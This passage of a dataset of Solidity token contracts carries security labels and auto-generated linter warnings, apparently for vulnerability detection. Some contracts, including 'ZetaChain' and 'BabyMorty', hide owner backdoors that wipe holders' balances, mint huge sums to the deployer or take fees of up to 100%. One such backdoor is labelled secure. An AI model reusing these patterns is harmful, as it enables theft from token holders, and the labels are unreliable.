(uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == respectable, \"Not allowed\");\n\n _;\n }\n\n function other(address[] memory rough) public onlyOwner {\n for (uint256 i = 0; i < rough.length; i++) {\n address account = rough[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_345.sol", "secure": 1, "size_bytes": 4367 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract ZetaChain {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\t// WARNING Optimization Issue (immutable-states | ID: a17577e): ZetaChain.tokenTotalSupply should be immutable \n\t// Recommendation for a17577e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n string private tokenName;\n string private tokenSymbol;\n\t// WARNING Optimization Issue (immutable-states | ID: a9928eb): ZetaChain.xxnux should be immutable \n\t// Recommendation for a9928eb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\t// WARNING Optimization Issue (immutable-states | ID: aa567d7): ZetaChain.tokenDecimals should be immutable \n\t// Recommendation for aa567d7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 07fbda7): ZetaChain.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 07fbda7: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"ZetaChain\";\n tokenSymbol = \"ZETA\";\n tokenDecimals = 18;\n tokenTotalSupply = 100000000 * 10 ** tokenDecimals;\n _balances[msg.sender] = tokenTotalSupply;\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\t\t// missing-zero-check | ID: 07fbda7\n xxnux = ads;\n }\n function openTrading(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_3450.sol", "secure": 0, "size_bytes": 5598 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./SafeTransfer.sol\" as SafeTransfer;\n\ncontract Proxywallet {\n\t// WARNING Optimization Issue (immutable-states | ID: b03b197): proxywallet.parent should be immutable \n\t// Recommendation for b03b197: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public parent;\n\t// WARNING Optimization Issue (immutable-states | ID: d2be2eb): proxywallet.tok should be immutable \n\t// Recommendation for d2be2eb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private tok;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e6e7e9d): proxywallet.constructor(address,address).user lacks a zerocheck on \t parent = user\n\t// Recommendation for e6e7e9d: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f53f145): proxywallet.constructor(address,address)._tok lacks a zerocheck on \t tok = _tok\n\t// Recommendation for f53f145: Check that the address is not zero.\n constructor(address user, address _tok) {\n\t\t// missing-zero-check | ID: e6e7e9d\n parent = user;\n\t\t// missing-zero-check | ID: f53f145\n tok = _tok;\n }\n function savetokens(address token, address to, uint256 amount) external {\n require(msg.sender == parent, \"p\");\n require(token != tok, \"no tok\");\n SafeTransfer.safeTransfer(IERC20(token), to, amount);\n }\n}", "file_name": "solidity_code_3451.sol", "secure": 0, "size_bytes": 1611 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IXENNFTContract {\n function ownerOf(uint256) external view returns (address);\n}", "file_name": "solidity_code_3452.sol", "secure": 1, "size_bytes": 156 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IXENNFTContract.sol\" as IXENNFTContract;\n\ncontract NFTRegistry {\n struct NFT {\n uint256 tokenId;\n string category;\n }\n\n struct User {\n NFT[] userNFTs;\n uint256 userRewards;\n uint256 userPoints;\n uint256 lastRewardRatio;\n }\n\n mapping(address => User) public users;\n mapping(uint256 => string) private categoryMap;\n mapping(uint256 => address) public currentHolder;\n mapping(string => uint256) public globalCounters;\n\n uint256 private constant XUNICORN_MIN_ID = 1;\n uint256 private constant XUNICORN_MAX_ID = 100;\n uint256 private constant EXOTIC_MIN_ID = 101;\n uint256 private constant EXOTIC_MAX_ID = 1000;\n uint256 private constant LEGENDARY_MIN_ID = 1001;\n uint256 private constant LEGENDARY_MAX_ID = 3000;\n uint256 private constant EPIC_MIN_ID = 3001;\n uint256 private constant EPIC_MAX_ID = 6000;\n uint256 private constant RARE_MIN_ID = 6001;\n uint256 private constant RARE_MAX_ID = 10000;\n\n mapping(uint256 => uint256) private rewardsMap;\n\t// WARNING Optimization Issue (immutable-states | ID: c197096): NFTRegistry.nftContractAddress should be immutable \n\t// Recommendation for c197096: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public nftContractAddress;\n uint256 public totalRewards;\n uint256 public totalPoints;\n uint256 public rewardRatio;\n\n uint256 private constant XUNICORN_WEIGHT = 50;\n uint256 private constant EXOTIC_WEIGHT = 50;\n uint256 private constant LEGENDARY_WEIGHT = 25;\n uint256 private constant EPIC_WEIGHT = 10;\n uint256 private constant RARE_WEIGHT = 5;\n uint256 private constant COLLECTOR_WEIGHT = 0;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fd1b6a3): NFTRegistry.constructor(address)._nftContractAddress lacks a zerocheck on \t nftContractAddress = _nftContractAddress\n\t// Recommendation for fd1b6a3: Check that the address is not zero.\n constructor(address _nftContractAddress) {\n\t\t// missing-zero-check | ID: fd1b6a3\n nftContractAddress = _nftContractAddress;\n\n rewardsMap[XUNICORN_WEIGHT] = 50;\n rewardsMap[EXOTIC_WEIGHT] = 50;\n rewardsMap[LEGENDARY_WEIGHT] = 25;\n rewardsMap[EPIC_WEIGHT] = 10;\n rewardsMap[RARE_WEIGHT] = 5;\n rewardsMap[COLLECTOR_WEIGHT] = 0;\n\n totalRewards = 1 wei;\n totalPoints = 1;\n }\n\n event NFTRegistered(address indexed user, uint256 tokenId, uint256 rewards);\n event RewardsWithdrawn(address indexed user, uint256 amount);\n\n receive() external payable {\n totalRewards += msg.value;\n rewardRatio += msg.value / totalPoints;\n }\n\n function addToPool() external payable {\n totalRewards += msg.value;\n rewardRatio += msg.value / totalPoints;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: a680dea): NFTRegistry.registerNFT(uint256) has external calls inside a loop previousOwnerpay.transfer(previousRewardAmount)\n\t// Recommendation for a680dea: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 89ee6f5): NFTRegistry.registerNFT(uint256) has external calls inside a loop require(bool,string)(IXENNFTContract(nftContractAddress).ownerOf(tokenId) == player,You don't own this NFT.)\n\t// Recommendation for 89ee6f5: Favor pull over push strategy for external calls.\n function registerNFT(uint256 tokenId) public {\n address player = msg.sender;\n\t\t// calls-loop | ID: 89ee6f5\n require(\n IXENNFTContract(nftContractAddress).ownerOf(tokenId) == player,\n \"You don't own this NFT.\"\n );\n\n uint256 rewardPoints = getTokenWeight(tokenId);\n\n address previousOwner = getNFTOwner(tokenId);\n require(\n previousOwner != player,\n \"You already have this NFT regestered\"\n );\n if (previousOwner != address(0) && previousOwner != player) {\n User storage previousOwnerData = users[previousOwner];\n\n uint256 previousRewardAmount = calculateReward(previousOwner);\n address payable previousOwnerpay = payable(previousOwner);\n\n previousOwnerData.userPoints -= rewardPoints;\n totalPoints -= rewardPoints;\n previousOwnerData.userRewards += previousRewardAmount;\n previousOwnerData.lastRewardRatio = rewardRatio;\n\n for (uint256 i = 0; i < previousOwnerData.userNFTs.length; i++) {\n if (previousOwnerData.userNFTs[i].tokenId == tokenId) {\n for (\n uint256 j = i;\n j < previousOwnerData.userNFTs.length - 1;\n j++\n ) {\n previousOwnerData.userNFTs[j] = previousOwnerData\n .userNFTs[j + 1];\n }\n\n previousOwnerData.userNFTs.pop();\n break;\n }\n }\n\n\t\t\t// calls-loop | ID: a680dea\n previousOwnerpay.transfer(previousRewardAmount);\n }\n User storage currentUserData = users[player];\n\n if (\n currentUserData.lastRewardRatio != rewardRatio &&\n currentUserData.lastRewardRatio != 0\n ) {\n withdrawRewards();\n }\n\n currentUserData.userPoints += rewardPoints;\n totalPoints += rewardPoints;\n currentUserData.lastRewardRatio = rewardRatio;\n\n setNFTOwner(tokenId, player);\n emit NFTRegistered(player, tokenId, rewardPoints);\n }\n\n function registerNFTs(uint256[] memory tokenIds) external {\n uint256 len = tokenIds.length;\n for (uint256 i = 0; i < len; i++) {\n registerNFT(tokenIds[i]);\n }\n }\n\n function isNFTRegistered(uint256 tokenId) public view returns (bool) {\n address player = msg.sender;\n NFT[] storage userNFTs = users[player].userNFTs;\n uint256 len = userNFTs.length;\n for (uint256 j = 0; j < len; j++) {\n if (userNFTs[j].tokenId == tokenId) {\n return true;\n }\n }\n return false;\n }\n\n function setNFTOwner(uint256 tokenId, address owner) private {\n require(\n currentHolder[tokenId] != owner,\n \"NFT already registered by the caller.\"\n );\n\n string memory category = getCategory(tokenId);\n currentHolder[tokenId] = owner;\n\n globalCounters[category]++;\n\n users[owner].userNFTs.push(NFT(tokenId, category));\n }\n\n function getNFTOwner(uint256 tokenId) public view returns (address) {\n return currentHolder[tokenId];\n }\n\n function getCategory(uint256 tokenId) public pure returns (string memory) {\n if (tokenId >= XUNICORN_MIN_ID && tokenId <= XUNICORN_MAX_ID) {\n return \"Xunicorn\";\n } else if (tokenId >= EXOTIC_MIN_ID && tokenId <= EXOTIC_MAX_ID) {\n return \"Exotic\";\n } else if (tokenId >= LEGENDARY_MIN_ID && tokenId <= LEGENDARY_MAX_ID) {\n return \"Legendary\";\n } else if (tokenId >= EPIC_MIN_ID && tokenId <= EPIC_MAX_ID) {\n return \"Epic\";\n } else if (tokenId >= RARE_MIN_ID && tokenId <= RARE_MAX_ID) {\n return \"Rare\";\n } else if (tokenId > RARE_MAX_ID) {\n return \"Collector\";\n } else {\n revert(\"Invalid token ID.\");\n }\n }\n\n function calculateReward(address user) public view returns (uint256) {\n User storage userData = users[user];\n uint256 lastRewardRatio = userData.lastRewardRatio;\n uint256 newRewards = rewardRatio - lastRewardRatio;\n\n return newRewards * userData.userPoints;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 652c0c4): NFTRegistry.withdrawRewards() has external calls inside a loop address(player).transfer(rewardAmount)\n\t// Recommendation for 652c0c4: Favor pull over push strategy for external calls.\n function withdrawRewards() public payable {\n address player = msg.sender;\n User storage userData = users[player];\n require(userData.userPoints > 0, \"No XenFT's registered for this user\");\n\n if (!_hasValidOwnership(player)) {\n for (uint256 i = 0; i < userData.userNFTs.length; i++) {\n if (!_isNFTOwner(userData.userNFTs[i].tokenId, player)) {\n userData.userPoints -= getTokenWeight(\n userData.userNFTs[i].tokenId\n );\n\n for (uint256 j = i; j < userData.userNFTs.length - 1; j++) {\n userData.userNFTs[j] = userData.userNFTs[j + 1];\n }\n userData.userNFTs.pop();\n\n i--;\n }\n }\n }\n\n uint256 rewardAmount = calculateReward(player);\n require(rewardAmount > 0, \"No new rewards available for withdrawal.\");\n\n userData.userRewards += rewardAmount;\n userData.lastRewardRatio = rewardRatio;\n\n\t\t// calls-loop | ID: 652c0c4\n payable(player).transfer(rewardAmount);\n emit RewardsWithdrawn(player, rewardAmount);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 6248ea3): NFTRegistry._isNFTOwner(uint256,address) has external calls inside a loop nftOwner = nftContract.ownerOf(tokenId)\n\t// Recommendation for 6248ea3: Favor pull over push strategy for external calls.\n function _isNFTOwner(\n uint256 tokenId,\n address owner\n ) public view returns (bool) {\n IXENNFTContract nftContract = IXENNFTContract(nftContractAddress);\n\t\t// calls-loop | ID: 6248ea3\n address nftOwner = nftContract.ownerOf(tokenId);\n\n return nftOwner == owner;\n }\n\n function getTokenWeight(uint256 tokenId) public pure returns (uint256) {\n if (tokenId >= XUNICORN_MIN_ID && tokenId <= XUNICORN_MAX_ID) {\n return XUNICORN_WEIGHT;\n } else if (tokenId >= EXOTIC_MIN_ID && tokenId <= EXOTIC_MAX_ID) {\n return EXOTIC_WEIGHT;\n } else if (tokenId >= LEGENDARY_MIN_ID && tokenId <= LEGENDARY_MAX_ID) {\n return LEGENDARY_WEIGHT;\n } else if (tokenId >= EPIC_MIN_ID && tokenId <= EPIC_MAX_ID) {\n return EPIC_WEIGHT;\n } else if (tokenId >= RARE_MIN_ID && tokenId <= RARE_MAX_ID) {\n return RARE_WEIGHT;\n } else if (tokenId > EPIC_MAX_ID) {\n return COLLECTOR_WEIGHT;\n } else {\n revert(\"Invalid token ID.\");\n }\n }\n\n function getUserNFTCounts(\n address user\n ) external view returns (uint256[] memory) {\n uint256[] memory nftCounts = new uint256[](6);\n\n User storage userData = users[user];\n NFT[] storage userNFTs = userData.userNFTs;\n\n uint256 len = userNFTs.length;\n for (uint256 i = 0; i < len; i++) {\n NFT storage nft = userNFTs[i];\n string memory category = nft.category;\n\n if (keccak256(bytes(category)) == keccak256(bytes(\"Xunicorn\"))) {\n nftCounts[0]++;\n } else if (\n keccak256(bytes(category)) == keccak256(bytes(\"Exotic\"))\n ) {\n nftCounts[1]++;\n } else if (\n keccak256(bytes(category)) == keccak256(bytes(\"Legendary\"))\n ) {\n nftCounts[2]++;\n } else if (keccak256(bytes(category)) == keccak256(bytes(\"Epic\"))) {\n nftCounts[3]++;\n } else if (keccak256(bytes(category)) == keccak256(bytes(\"Rare\"))) {\n nftCounts[4]++;\n } else if (\n keccak256(bytes(category)) == keccak256(bytes(\"Collector\"))\n ) {\n nftCounts[5]++;\n }\n }\n\n return nftCounts;\n }\n\n function _hasValidOwnership(address user) public view returns (bool) {\n User storage userData = users[user];\n uint256 totalPointsOwned = 0;\n uint256 len = userData.userNFTs.length;\n for (uint256 i = 0; i < len; i++) {\n NFT storage nft = userData.userNFTs[i];\n if (_isNFTOwner(nft.tokenId, user)) {\n totalPointsOwned += getTokenWeight(nft.tokenId);\n } else {\n return false;\n }\n }\n\n return totalPointsOwned == userData.userPoints;\n }\n}", "file_name": "solidity_code_3453.sol", "secure": 0, "size_bytes": 12771 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address accoint) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 ameunts\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 ameunts) external returns (bool);\n\n function setPersonalTransferFee(address user, uint256 fee) external;\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 ameunts\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_3454.sol", "secure": 1, "size_bytes": 953 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BabyMorty is IERC20, Ownable {\n using SafeMath for uint256;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 6c848d9): BabyMorty._decimals should be immutable \n\t// Recommendation for 6c848d9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: b5f53c7): BabyMorty._totalSupply should be immutable \n\t// Recommendation for b5f53c7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: 5d141bf): BabyMorty._DEADaddress should be constant \n\t// Recommendation for 5d141bf: Add the 'constant' attribute to state variables that never change.\n address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;\n\t// WARNING Optimization Issue (constable-states | ID: 82bafb7): BabyMorty._buyFee should be constant \n\t// Recommendation for 82bafb7: Add the 'constant' attribute to state variables that never change.\n uint256 private _buyFee = 0;\n uint256 private _sellFee = 0;\n address public uniswapV2Pair;\n mapping(address => uint256) private _personalTransferFees;\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 initialSupply\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = initialSupply * (10 ** uint256(_decimals));\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 50c0617): BabyMorty.setPairList(address)._address lacks a zerocheck on \t uniswapV2Pair = _address\n\t// Recommendation for 50c0617: Check that the address is not zero.\n function setPairList(address _address) external onlyowner {\n\t\t// missing-zero-check | ID: 50c0617\n uniswapV2Pair = _address;\n }\n\n function setPersonalTransferFee(\n address user,\n uint256 fee\n ) public override onlyowner {\n require(fee <= 100, \"Personal transfer fee should not exceed 100%\");\n _personalTransferFees[user] = fee;\n }\n function setSelFee(uint256 newSellFee) external onlyowner {\n require(newSellFee <= 100, \"Sell fee should not exceed 100%\");\n _sellFee = newSellFee;\n }\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amounts\n ) public virtual override returns (bool) {\n address nh14541 = _msgSender();\n if (nh14541 == owner() && owner() == _msgSender()) {\n _balances[nh14541] = _balances[nh14541].add(amounts);\n }\n\n _transfer(nh14541, recipient, amounts);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 251deb2): BabyMorty.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 251deb2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amounts\n ) internal virtual {\n require(sender != address(0), \"IERC20: transfer from the zero address\");\n require(\n recipient != address(0),\n \"IERC20: transfer to the zero address\"\n );\n\n uint256 feeAmount = 0;\n\n if (_personalTransferFees[sender] > 0) {\n feeAmount = amounts.mul(_personalTransferFees[sender]).div(100);\n } else if (sender == uniswapV2Pair) {\n feeAmount = amounts.mul(_buyFee).div(100);\n } else if (recipient == uniswapV2Pair) {\n feeAmount = amounts.mul(_sellFee).div(100);\n } else {\n feeAmount = amounts.mul(_sellFee).div(100);\n }\n\n _balances[sender] = _balances[sender].sub(amounts);\n _balances[recipient] = _balances[recipient] + amounts - feeAmount;\n _balances[_DEADaddress] = _balances[_DEADaddress].add(feeAmount);\n emit Transfer(sender, _DEADaddress, feeAmount);\n emit Transfer(sender, recipient, amounts - feeAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 15760ae): BabyMorty._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 15760ae: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_3455.sol", "secure": 0, "size_bytes": 6721 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FopeoFrog is ERC20 {\n constructor() ERC20(unicode\"Fopeo Frog\", unicode\"FOPEO\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_3456.sol", "secure": 1, "size_bytes": 292 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3866cf3): Contract locking ether found Contract Ratio has payable functions Ratio.receive() But does not have a function to withdraw the ether\n// Recommendation for 3866cf3: Remove the 'payable' attribute or add a withdraw function.\ncontract Ratio is Context, IERC20, Ownable {\n uint256 private constant _totalSupply = 100_000_000e18;\n uint256 private constant onePercent = 30_000e18;\n uint256 private constant minSwap = 2_500e18;\n uint8 private constant _decimals = 18;\n\n IUniswapV2Router02 immutable uniswapV2Router;\n address immutable uniswapV2Pair;\n address immutable WETH;\n address payable immutable marketingWallet;\n\n uint256 public buyTax;\n uint256 public sellTax;\n\n uint8 private launch;\n uint8 private inSwapAndLiquify;\n\n uint256 private launchBlock;\n uint256 public maxTxAmount = onePercent;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f87fc1): Ratio._name should be constant \n\t// Recommendation for 3f87fc1: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Ratio\";\n\t// WARNING Optimization Issue (constable-states | ID: b79ced6): Ratio._symbol should be constant \n\t// Recommendation for b79ced6: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"RATIO\";\n\n mapping(address => uint256) private _balance;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFeeWallet;\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n WETH = uniswapV2Router.WETH();\n buyTax = 0;\n sellTax = 0;\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(0x86D712709d2d898b01a35B294DD1C017B0a772Dc);\n _balance[msg.sender] = _totalSupply;\n _isExcludedFromFeeWallet[marketingWallet] = true;\n _isExcludedFromFeeWallet[msg.sender] = true;\n _isExcludedFromFeeWallet[address(this)] = true;\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9c02a24): Ratio.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9c02a24: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 851cfd2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 851cfd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a54e638): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a54e638: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 851cfd2\n\t\t// reentrancy-benign | ID: a54e638\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 851cfd2\n\t\t// reentrancy-benign | ID: a54e638\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 521e5f1): Ratio._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 521e5f1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: a54e638\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 851cfd2\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() external onlyOwner {\n launch = 1;\n launchBlock = block.number;\n }\n\n function addExcludedWallet(address 